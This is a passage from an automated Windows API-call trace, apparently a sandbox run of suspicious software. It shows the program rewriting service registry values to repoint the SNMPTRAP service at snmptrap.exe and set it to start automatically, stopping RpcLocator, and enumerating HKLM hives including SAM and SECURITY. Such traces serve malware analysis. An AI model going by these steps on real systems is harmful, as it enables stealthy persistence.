lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.319] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.319] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.319] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.319] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.319] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.319] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.320] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.320] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.320] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.320] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.320] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.320] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.320] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.320] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0253.320] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.320] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.320] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.321] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.321] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.321] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.321] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.321] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.321] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.321] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.321] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.321] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.321] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.321] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.321] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.321] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.322] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\snmptrap.exe", cbData=0x21 | out: lpData="C:\\Windows\\System32\\snmptrap.exe") returned 0x0 [0253.322] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\snmptrap.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f2c48*="C:\\Windows\\System32\\snmptrap.exe" [0253.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0253.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0253.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0253.322] LocalFree (hMem=0x7f2c48) returned 0x0 [0253.322] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\snmptrap.exe", cbData=0x21 | out: lpData="C:\\Windows\\System32\\snmptrap.exe") returned 0x0 [0253.322] OpenServiceW (hSCManager=0x803918, lpServiceName="SNMPTRAP", dwDesiredAccess=0x2) returned 0x803990 [0253.323] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0253.324] CloseServiceHandle (hSCObject=0x803990) returned 1 [0253.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0253.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0253.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0253.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0253.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0253.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.325] RegCloseKey (hKey=0xc4) returned 0x0 [0253.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0253.325] RegCloseKey (hKey=0x14c) returned 0x0 [0253.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0253.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0253.325] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\snmptrap.exe" (normalized: "c:\\windows\\system32\\snmptrap.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817cf0a9, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x817cf0a9, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0253.325] CreateFileW (lpFileName="C:\\Windows\\System32\\snmptrap.exe" (normalized: "c:\\windows\\system32\\snmptrap.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0253.325] GetLastError () returned 0x20 [0253.325] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0253.326] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0253.326] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0253.326] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x20) returned 0x8038a0 [0253.327] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0253.327] GetLastError () returned 0x425 [0253.327] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0253.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0253.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0253.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0253.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0253.327] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.327] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1e38, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0253.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.328] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0253.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.328] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0253.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.328] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0253.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.329] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.329] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0253.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.329] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.329] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.329] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0253.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.330] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0253.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.330] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1e38, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0253.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.330] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0253.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.330] RtlFreeHeap (HeapHandle=0x2520000, 